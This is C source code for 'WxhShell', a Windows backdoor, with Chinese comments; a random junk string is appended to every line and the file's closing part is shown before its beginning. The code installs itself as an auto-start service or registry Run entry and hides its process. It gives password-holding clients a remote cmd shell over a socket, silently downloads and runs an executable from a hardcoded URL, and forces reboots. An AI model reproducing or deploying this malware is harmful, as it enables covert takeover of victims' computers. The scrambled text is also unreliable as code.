    if(Boot(SHUTDOWN)) 9C: V i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j!K{1s[.y  
    else { EB8<!c ?  
    closesocket(wsh); $;j{?dvm.  
    ExitThread(0); TTo5"r9I 8  
    } [ip}f4K  
    break; TeH_DVxj  
    } z*`nfTw l  
  // 获取shell %] !xr6d  
  case 's': { #X*=oG  
    CmdShell(wsh); Rzxkz  
    closesocket(wsh); @Wd1+Yky  
    ExitThread(0); =HHb ]JE  
    break; }XfRKGQw  
  } {#&jW  
  // 退出 g]U! ]  
  case 'x': { 6bUcrw/# p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $aj:\A0f  
    CloseIt(wsh); }PzHtA,V  
    break; /}=cv>S5V  
    } EkEQFd 5g  
  // 离开 > 7 qZ\#  
  case 'q': { `,Y/!(:;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H'x_}y  
    closesocket(wsh); a@N 1"O  
    WSACleanup(); c6LPqPcN  
    exit(1); #XeabcOQ  
    break; LR y&/d  
        } 0yL%Pjn6  
  } #w;%{C[D  
  } .>@]Im  
xi=Qxgx0I  
  // 提示信息 Env_??xq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [wcp2g3Px  
} W+#Zmvo  
  } $rH}2  
J;Eg"8x]  
  return; g>-u9%aa  
} Yn8aTg[J  
$i$Z+-W4'  
// shell模块句柄 U9h@1:  
int CmdShell(SOCKET sock) Sxc p [g;  
{ >{#QS"J#  
STARTUPINFO si; y-o54e$4Cq  
ZeroMemory(&si,sizeof(si)); k Hh0&~ (  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^Dys#^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6<9gVh<=w  
PROCESS_INFORMATION ProcessInfo; yGlOs]>n  
char cmdline[]="cmd"; e%KCcU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kj* $'('  
  return 0; YT)@&HaF  
} #LfoG?k1K  
D*!9K8<o  
// 自身启动模式 %Sw hNn  
int StartFromService(void) W4:#=.m  
{ wE#z)2?`\  
typedef struct Ky)*6QOw  
{ ^zR*s |1Q  
  DWORD ExitStatus; {Zf 9} !qF  
  DWORD PebBaseAddress; _yc &'Wq  
  DWORD AffinityMask;  B q7Qbj  
  DWORD BasePriority; g UA_&_  
  ULONG UniqueProcessId; [u7i)fn5?  
  ULONG InheritedFromUniqueProcessId; W.TdhJW9  
}   PROCESS_BASIC_INFORMATION; Kl w9  
-PskUl'  
PROCNTQSIP NtQueryInformationProcess; Cm#[$T@C  
=Y-mc#{8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1IWP~G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =yLJGNK[  
Ypw:Vp  
  HANDLE             hProcess; nmUMg  
  PROCESS_BASIC_INFORMATION pbi; )"f*Mp  
wQN/MYF[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /t_AiM,(  
  if(NULL == hInst ) return 0; pFwhv w  
CF/8d6}Vf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z460a[Wl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q 1+{MPJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4_h?E:sBb  
KNqs=:i  
  if (!NtQueryInformationProcess) return 0; X>ck.}F  
'%[r9 w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EGK7)O'W  
  if(!hProcess) return 0; yn.f?[G2  
<{1=4PA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pe?b# G  
X&cm)o%5Fe  
  CloseHandle(hProcess); g)^g_4  
M]A!jWtE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YCo qe,5  
if(hProcess==NULL) return 0; t? [8k&Z  
Y]H,rO  
HMODULE hMod; H]Vo XJ\*  
char procName[255]; 0R}F( tjw  
unsigned long cbNeeded; nBGcf(BE.$  
R9O1#s^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Un\ T} c  
Q ;$NDYV1  
  CloseHandle(hProcess); obSLy Ed  
GJn ~x  
if(strstr(procName,"services")) return 1; // 以服务启动 ?TY/'-M5  
tz/NR/[  
  return 0; // 注册表启动 /%i:(Ny  
} #iP5@:!Wm~  
')1p  
// 主模块 yo_;j@BGR  
int StartWxhshell(LPSTR lpCmdLine)  4,?ZNyl  
{ n@y*~sG]  
  SOCKET wsl; }TwSSF|}3  
BOOL val=TRUE; YQ7tZl;:t  
  int port=0; >m8~Fs0  
  struct sockaddr_in door; -*~~ 00w  
D:Fi/JY~  
  if(wscfg.ws_autoins) Install(); \* SEj&9  
i|QL6e*0  
port=atoi(lpCmdLine); Fle pM*  
S~Yu;  
if(port<=0) port=wscfg.ws_port; n_Bi HMIU'  
|RZI]H%  
  WSADATA data; zOA2chy4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C}(9SASs%  
Z'o'd_g>I+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e~NF}9#A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q'Vejz/  
  door.sin_family = AF_INET; i[m-&   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9 hdz<eFL  
  door.sin_port = htons(port); |J^$3RX  
s!WI:E7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y\c-I!6>26  
closesocket(wsl); <F-W fR  
return 1; C,nU.0  
} H:.l:PJ  
9\KMU@Ne  
  if(listen(wsl,2) == INVALID_SOCKET) { `nEe-w^9)I  
closesocket(wsl); w~}.c:B  
return 1; ?qR11A};tG  
} 'uU{.bq  
  Wxhshell(wsl); _ e94  
  WSACleanup(); `rZS\A  
1$1P9x@H  
return 0; ^ 9FRI9?  
kyu PN<?  
} +z?SKc  
H:_R[u4r  
// 以NT服务方式启动 6>j0geFyE2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) to#N>VfD  
{ fE,Io3  
DWORD   status = 0; FFpG>+*3  
  DWORD   specificError = 0xfffffff; Jj,fdP#\  
hvOl9W>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^=7XA894  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i'`[dwfS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L2\NTNY  
  serviceStatus.dwWin32ExitCode     = 0; OGn-~ #E  
  serviceStatus.dwServiceSpecificExitCode = 0; 4$_:a?9  
  serviceStatus.dwCheckPoint       = 0; p@jwHlX  
  serviceStatus.dwWaitHint       = 0; "*Gp@  
J0,;F9<C#X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gMUCVKGf  
  if (hServiceStatusHandle==0) return; E% d3}@  
q@Oe}  
status = GetLastError(); *PF=dx<8  
  if (status!=NO_ERROR) x5 ?>y{6D  
{ d .t$VRO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J3,m{%EtNM  
    serviceStatus.dwCheckPoint       = 0; &~sirxR p  
    serviceStatus.dwWaitHint       = 0; 5;q{9wvqO  
    serviceStatus.dwWin32ExitCode     = status; 22FHD4  
    serviceStatus.dwServiceSpecificExitCode = specificError; /L*JHNu"_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .l +yK-BZ  
    return; BSHtoD@e7  
  } [LDY;k~5+  
!FHm.E_>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c!dc`R  
  serviceStatus.dwCheckPoint       = 0; 0*XCAnJ^_  
  serviceStatus.dwWaitHint       = 0; D2MWrX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nV3I6  
} jCp`woV  
K| '`w.  
// 处理NT服务事件,比如:启动、停止 W+u-M>Cj6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y[Eq;a132  
{ p^*A&7d:P  
switch(fdwControl) Q$8&V}jVW  
{ z` (">J  
case SERVICE_CONTROL_STOP: Sgq?r-Q.  
  serviceStatus.dwWin32ExitCode = 0; sglH=0MP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i:\|G^h  
  serviceStatus.dwCheckPoint   = 0; aKC,{}f$m  
  serviceStatus.dwWaitHint     = 0; }B@44HdY  
  { 2i)vT)~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h@%a+6b?  
  } (qdvvu#E  
  return; LGT?/ gup  
case SERVICE_CONTROL_PAUSE: 'ocPG.PaU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OmLe+,7'  
  break; *:V+whBY  
case SERVICE_CONTROL_CONTINUE: Z,7VOf6g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]oxi~TwY^  
  break; 4rrR;V"}  
case SERVICE_CONTROL_INTERROGATE: ]..7t|^b&  
  break; 'mO>hD`V  
}; J+r:7NvZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %3@-. =  
} tZan1C%p>  
#dDM "s  
// 标准应用程序主函数 lGpci  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _kT{W]   
{ ED^0t  
aDda&RM  
// 获取操作系统版本 uS7kkzt-x  
OsIsNt=GetOsVer(); \h5!u1{L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Sjo7NR^#e  
5&TH\2u  
  // 从命令行安装 'b:e8m  
  if(strpbrk(lpCmdLine,"iI")) Install(); LsO}a;t5  
cV:Ak~PKl  
  // 下载执行文件 MIdViS.g  
if(wscfg.ws_downexe) { ~}RfepM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y-N]{!  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fx )BMP  
} ZY=a[K  
FwUgMR*xq  
if(!OsIsNt) { `T3B  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^MO})C  
HideProc(); }56WAP}Z 4  
StartWxhshell(lpCmdLine); >)+N$EN  
} 58P[EMhL  
else il% u)NN  
  if(StartFromService()) |H.ARLS  
  // 以服务方式启动 d r$E:kr  
  StartServiceCtrlDispatcher(DispatchTable); o>\o=%D.a  
else pD;fFLvN  
  // 普通方式启动 ;b!qt-;.<  
  StartWxhshell(lpCmdLine); pv]" 2'aQ  
#p2`9o  
return 0; i>e?$H,/  
} %S/?Ci  
1P?|.W_^1  
'9!J' [W  
J?C:@Q  
=========================================== Vrs?VA`v$  
qyP={E9A  
ZlP+t>  
X}H?*'-  
U=PTn(2  
^@^K <SVc  
" ?NR&3 q  
$4q$!jB5  
#include <stdio.h> G`RQl@W>)(  
#include <string.h> ;Vpp1mk|  
#include <windows.h>  "3/&<0k  
#include <winsock2.h> wKKQAM6P1  
#include <winsvc.h> 7 j6<  
#include <urlmon.h> B>g(i=E  
u9fJ:a  
#pragma comment (lib, "Ws2_32.lib") y/+ IPR  
#pragma comment (lib, "urlmon.lib") qP]1}-  
Z)md]Twt  
#define MAX_USER   100 // 最大客户端连接数 \/ ipYc  
#define BUF_SOCK   200 // sock buffer }$i/4?dYsQ  
#define KEY_BUFF   255 // 输入 buffer 9}5o> iR  
VS>xvF  
#define REBOOT     0   // 重启 1!NrndJI  
#define SHUTDOWN   1   // 关机 }=Ul8 <  
.wB'"z8L  
#define DEF_PORT   5000 // 监听端口 9BAvE\o0  
8N \<o7t%  
#define REG_LEN     16   // 注册表键长度 i` Q&5KL  
#define SVC_LEN     80   // NT服务名长度 SEVB.;  
~LQzt@G4  
// 从dll定义API +lxjuEiae  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R3%%;`c=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *wx95?H0Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ERia5HnoD,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Zz"8  
Da8 |eN}   
// wxhshell配置信息 4w)>}  
struct WSCFG { 4AMe>s  
  int ws_port;         // 监听端口 b!bg sd  
  char ws_passstr[REG_LEN]; // 口令 UE/JV_/S;  
  int ws_autoins;       // 安装标记, 1=yes 0=no E^A S65%bL  
  char ws_regname[REG_LEN]; // 注册表键名 Lv#0-+]$Bt  
  char ws_svcname[REG_LEN]; // 服务名 0TZB}c#qT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sUU[QP-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .N( X. C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q[ ?R{w6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "By$!R-&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" > l]Ble  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KWojMPs  
RLZfXXMn  
}; )ZI#F]  
Em !%3C1r  
// default Wxhshell configuration U.X` z3q  
struct WSCFG wscfg={DEF_PORT, u`D _  
    "xuhuanlingzhe", 4}s'xMT!  
    1, OTl9MwW  
    "Wxhshell", .>z1BP:(  
    "Wxhshell", YgdQC(ib  
            "WxhShell Service", ?5J>]: +ZZ  
    "Wrsky Windows CmdShell Service", "YaT1` Kr  
    "Please Input Your Password: ", t<ZBp0  
  1, ==Xy'n9'  
  "http://www.wrsky.com/wxhshell.exe", wl&T9O;?  
  "Wxhshell.exe" Qj|rNeM_  
    }; \Y>b#*m(4  
at4JLbk  
// 消息定义模块 m2"wMt"*V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4.^T~n G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T*%rhnTv0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8|^&~Rl4  
char *msg_ws_ext="\n\rExit."; YC')vv3o(  
char *msg_ws_end="\n\rQuit."; +Gg|BTTL/  
char *msg_ws_boot="\n\rReboot..."; FvY=!U06  
char *msg_ws_poff="\n\rShutdown..."; _",< at  
char *msg_ws_down="\n\rSave to "; = pn;b1=  
;S \s&.u  
char *msg_ws_err="\n\rErr!"; 6 &0r/r  
char *msg_ws_ok="\n\rOK!"; H(gY =  
q ajZ~oB{  
char ExeFile[MAX_PATH]; c BZ,"kp-  
int nUser = 0; Xdx8HB@L  
HANDLE handles[MAX_USER]; Ar[|M 2|  
int OsIsNt; tH4 q*\U  
g$^-WmX\m  
SERVICE_STATUS       serviceStatus; ~TsRUT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /# ]eVD  
URs]S~tk  
// 函数声明 ox%j_P9@:  
int Install(void); AH:uG#  
int Uninstall(void); QS!Z*vG  
int DownloadFile(char *sURL, SOCKET wsh); yQMwt|C4  
int Boot(int flag); !+A%`m  
void HideProc(void); )obgEJ7Y`l  
int GetOsVer(void); H`'a|Y  
int Wxhshell(SOCKET wsl); fLqjBG]<  
void TalkWithClient(void *cs); T.3{}230<  
int CmdShell(SOCKET sock); tsL ; wT_  
int StartFromService(void); 8["%e#%`$  
int StartWxhshell(LPSTR lpCmdLine); ^8_yJ=~V  
]XbMqHGS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i@.Tv.NZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8toOdh  
sv?Fx;d  
// 数据结构和表定义 %~x?C4L8  
SERVICE_TABLE_ENTRY DispatchTable[] = ah hl  
{ C\;l)h_{  
{wscfg.ws_svcname, NTServiceMain}, "+T`{$Z=C  
{NULL, NULL} '?| 1\j  
}; Zp3-Yo w2  
>h)kbsSU0z  
// 自我安装 bXvO+I<  
int Install(void) f)j*P<V  
{ @fYVlHT%E  
  char svExeFile[MAX_PATH]; r dSL  
  HKEY key; uxB)dS  
  strcpy(svExeFile,ExeFile); ~abyjM  
Yj1|]i5b  
// 如果是win9x系统,修改注册表设为自启动 X=KW >  
if(!OsIsNt) { ^)?Wm,{"w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [#mk TY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N|$9v{ j_  
  RegCloseKey(key); ~HhB@G!3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #Zw:&' QB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $BMXjXd}  
  RegCloseKey(key); :MY=Q]l  
  return 0; :>JfBJ]|  
    } E`I(x&_  
  } n)"JMzjQ<  
} -f&vH_eK  
else {  ?bVIH?  
l[c '%M|N  
// 如果是NT以上系统,安装为系统服务 0t%]z!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R|$AcNp  
if (schSCManager!=0) p|.5;)%|  
{ Jh0Grq  
  SC_HANDLE schService = CreateService 5RN!"YLI3  
  ( mf$YsvPq*+  
  schSCManager, YB7n}r23  
  wscfg.ws_svcname, %]&$VVVh  
  wscfg.ws_svcdisp, qvSYrnpn  
  SERVICE_ALL_ACCESS, :Q>e54]'&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p$9Aadi]  
  SERVICE_AUTO_START, pT->qQ3;  
  SERVICE_ERROR_NORMAL, =~hb&  
  svExeFile, G~8BND[."  
  NULL, )g dLb}  
  NULL, d/ ^IL*O  
  NULL, \/YRhQ  
  NULL, !i~(h&z  
  NULL cVW7I  
  ); =yZq]g6Q  
  if (schService!=0) Zh;wQCDj  
  { }W8A1-UF  
  CloseServiceHandle(schService); 88v8lt;R  
  CloseServiceHandle(schSCManager); 0>Snps3*Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .)b<cH~%  
  strcat(svExeFile,wscfg.ws_svcname); (cOe*>L;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |Q 3d7y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pd~=:4  
  RegCloseKey(key); zp;!HP;/=  
  return 0; 1*u]v{JJ(  
    } >-I <`y-H  
  } 4T(d9y  
  CloseServiceHandle(schSCManager); O*l,&5  
} 63Zu5b"O/  
} H]R/=OYBUh  
&]o-ZZX  
return 1; XQ}J4J~Vm  
} rgzra"u)  
/ S]RP>cQ  
// 自我卸载 ;7z6B|8  
int Uninstall(void) ?'TK~,dG/  
{ l;_IH|A  
  HKEY key; 7j\^h2  
HK/WO jr  
if(!OsIsNt) { 1v]%FC`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GLtd<M"  
  RegDeleteValue(key,wscfg.ws_regname); H_ $?b  
  RegCloseKey(key); 8l5>t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9y*] {IY  
  RegDeleteValue(key,wscfg.ws_regname); XeI2 <=@%  
  RegCloseKey(key); cZxY,UvYa  
  return 0; z;>$["t]6  
  } ~Mn3ADIb=  
} bwXeEA@{  
} X6G{.Vh"  
else { >;I8w(  
5q0L<GOrj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t|>zke!'  
if (schSCManager!=0) ML905n u  
{ r)5xS]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7yfh4-1M  
  if (schService!=0) >n09K8 A  
  { Jx.f DVJ  
  if(DeleteService(schService)!=0) { am]M2+,2Ip  
  CloseServiceHandle(schService); 'Nl hLu  
  CloseServiceHandle(schSCManager); nU>P%|loXx  
  return 0; pNb2t/8%%  
  } eZPeyYX  
  CloseServiceHandle(schService); )*]A$\Oc[  
  } R7Y_ 7@p  
  CloseServiceHandle(schSCManager); x8rg/y  
} pr#%VM[':R  
} WT ;2aS:  
M9W zsWM  
return 1; r&E gP  
} =%7drBoD  
MT&aH~YB  
// 从指定url下载文件 |X8?B =  
int DownloadFile(char *sURL, SOCKET wsh) [Jt}^  
{ >4X2uNbZS  
  HRESULT hr; | ky40[C  
char seps[]= "/"; "sN%S's  
char *token; $CEdJ+0z  
char *file; cb9-~*1  
char myURL[MAX_PATH]; 4]U=Y>\Sr  
char myFILE[MAX_PATH]; _cs(f<>oCO  
T o["o!(;z  
strcpy(myURL,sURL); }d?;kt  
  token=strtok(myURL,seps); X vaIOt>A  
  while(token!=NULL) }i~k:kmV  
  { 1<BKTMBq?{  
    file=token; !Ap5Uwd  
  token=strtok(NULL,seps); xx`YBn~"  
  } *lSu=dk+  
M 5sk&>  
GetCurrentDirectory(MAX_PATH,myFILE); h~k<"  
strcat(myFILE, "\\"); fmz"Zg 9=  
strcat(myFILE, file); \l:R]:w;ZI  
  send(wsh,myFILE,strlen(myFILE),0); <==uK>pET  
send(wsh,"...",3,0); :'DyZy2Fd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {}YA7M:L  
  if(hr==S_OK) dxs5woP  
return 0; %VO+\L8Fs  
else 'Bue*  
return 1; _Z0 .c@0  
N55F5  
} :VT%d{Vp_  
uB  I/3aQ  
// 系统电源模块 r1r$y2v~  
int Boot(int flag) 1jg* DQ7L  
{ j9h/`Bn  
  HANDLE hToken; Uqel UL}  
  TOKEN_PRIVILEGES tkp; wb.yGfJ  
_aFe9+y  
  if(OsIsNt) { RK!9(^Ja  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0V~zZ/e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 64?HqO 6(  
    tkp.PrivilegeCount = 1; S.!,qv z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Nnh\FaI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NuQ!huh  
if(flag==REBOOT) { s>J5.Z7"'j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F\D iT|?}  
  return 0; VP#KoX85  
} C.S BJ  
else { d0 )725Ia  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zIrOMh  
  return 0; nc;e NB  
} sv=U^xI  
  } |jiIx5qr  
  else { hQ@k|3=Re  
if(flag==REBOOT) { t.9s49P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (.:*GUg  
  return 0; unFRfec{  
} ircF3P>a?  
else { s:tX3X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z<.&fZ^jS  
  return 0; \\dUp>1=  
} "&2 F  
} R 0RxcB tG  
w#b@6d  
return 1; zQyI4RHG[  
} hBX*02p   
QR&e~rks  
// win9x进程隐藏模块 _^BA;S @  
void HideProc(void)  cHvm  
{ JUr t %2  
\78E>(`'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &+#5gii1i  
  if ( hKernel != NULL ) Yg8* )u0  
  { -P;0<j@6k5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); , MXU]{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T<B}Z11R  
    FreeLibrary(hKernel); o.ZR5`.  
  } !_ W/p`Tc  
s/7Z.\  
return; =%m{|HQ`  
} J#$U<`j*G  
^bv^&V&IB  
// 获取操作系统版本 q-`&C  
int GetOsVer(void) O t)}:oG  
{ &4:R(]|  
  OSVERSIONINFO winfo; M(a%Qk?]/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3mHzOs\jU  
  GetVersionEx(&winfo); lOt7 ij(,L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }nlS&gew^  
  return 1; J%CCUl2  
  else g!XC5*}  
  return 0; INA3^p'w  
} =@!t/LR7kg  
;stjqTd  
// 客户端句柄模块 kO\ O$J^S  
int Wxhshell(SOCKET wsl) LI%dJ*-V  
{ t5+p]7  
  SOCKET wsh; Y1h)aQ5{  
  struct sockaddr_in client; ^VXhv9\>B  
  DWORD myID; +*8su5:[&@  
M.Yp'Av  
  while(nUser<MAX_USER) C 7C4 eW8  
{ ooVs8T2  
  int nSize=sizeof(client); I> ;{BYPV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yJI~{VmU7  
  if(wsh==INVALID_SOCKET) return 1; 3=d%WPgQ  
R;!,(l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !mxH/{+|n  
if(handles[nUser]==0) BEOPZ[Q|c  
  closesocket(wsh); O^cC+@l!4  
else qnp}#BZ  
  nUser++; n<C] 6H  
  } ; dzL9P9IU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KUJLx  
R,BJr y  
  return 0; -$:; en?  
} (,h2qP-;ud  
w1tM !4r  
// 关闭 socket b=5w>*  
void CloseIt(SOCKET wsh) 3Z?ornS  
{ J9[7AiEd(/  
closesocket(wsh); ;].X;Ky <  
nUser--; NA0nF8ek  
ExitThread(0); GTR*3,rw  
} O(/~cQ  
}&vD(hX  
// 客户端请求句柄 yP{ 52%|+  
void TalkWithClient(void *cs) !Aj}sh{  
{ vxZ'-&;t  
*:n7B\.  
  SOCKET wsh=(SOCKET)cs; f]r*;YEc4  
  char pwd[SVC_LEN]; c]{}|2u  
  char cmd[KEY_BUFF]; jC'h54 ,Mr  
char chr[1]; ]AYP\\Xi  
int i,j; wY<s  
8JY0]G6  
  while (nUser < MAX_USER) { )NZH{G  
v Z9OJrF  
if(wscfg.ws_passstr) { WK6,K92  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -zFJ)!/?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Hnez@d  
  //ZeroMemory(pwd,KEY_BUFF); Dz0D ^(;V  
      i=0; _8.TPB]no  
  while(i<SVC_LEN) { \8xSfe  
e6taQz@}  
  // 设置超时 "B{3q`(  
  fd_set FdRead; Q'n+K5&p  
  struct timeval TimeOut; 23tX"e  
  FD_ZERO(&FdRead); _z#" BN  
  FD_SET(wsh,&FdRead); ~3.*b% ,  
  TimeOut.tv_sec=8; q KD  
  TimeOut.tv_usec=0; vL@<l^`$0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `0qjaC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A1prYD  
s6~;)(r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }? _KZ)  
  pwd=chr[0]; SZW_V6\t>  
  if(chr[0]==0xd || chr[0]==0xa) { VNTbjn]  
  pwd=0; v7"VH90`!  
  break; 56)!&MF  
  } +E</A:|}S  
  i++; x[58C+  
    } nz3*s#k\-  
3/+kjY/  
  // 如果是非法用户,关闭 socket )7& -DI1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &#e;`(*  
} bW=q G  
i9L]h69r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4z(~)#'^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b1?^9c#0d  
?(gha  
while(1) { T#qf&Q Z  
c K\   
  ZeroMemory(cmd,KEY_BUFF); x eFx!$3  
ee? d ?:L  
      // 自动支持客户端 telnet标准   fM ID}S  
  j=0; zb{79Os[B  
  while(j<KEY_BUFF) { NfClR HpVc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HXU#Ux  
  cmd[j]=chr[0]; 8lM=v> Xc  
  if(chr[0]==0xa || chr[0]==0xd) { 3`&FXgo  
  cmd[j]=0; rp4D_80q  
  break; R0qZxoo  
  } 8r(a wp  
  j++; \oWpyT _  
    } `D(V_WZ  
\ UrD%;sq  
  // 下载文件 08xo_Oysq  
  if(strstr(cmd,"http://")) { X:UlL"G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]owgsR  
  if(DownloadFile(cmd,wsh)) |yk/iO(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )pl5nu#<  
  else x6,ozun  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >1`4]%  
  } > '=QBW  
  else { ];k!*lR)  
